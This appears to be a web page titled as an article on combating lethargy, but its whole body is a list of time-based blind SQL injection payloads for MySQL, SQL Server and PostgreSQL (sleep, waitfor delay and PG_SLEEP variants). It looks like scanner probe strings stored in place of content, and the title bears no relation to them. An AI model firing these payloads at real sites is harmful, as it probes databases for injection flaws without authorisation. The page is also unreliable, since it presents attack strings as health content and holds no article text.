What Are the Best Ways to Combat Lethargy?

*if(now()=sysdate(),sleep(15),0)

0'XOR(
*if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(
*if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

-1 waitfor delay '0:0:15' --

4vwWSbyi'; waitfor delay '0:0:15' --

-1 OR 821=(SELECT 821 FROM PG_SLEEP(15))--

-1) OR 69=(SELECT 69 FROM PG_SLEEP(15))--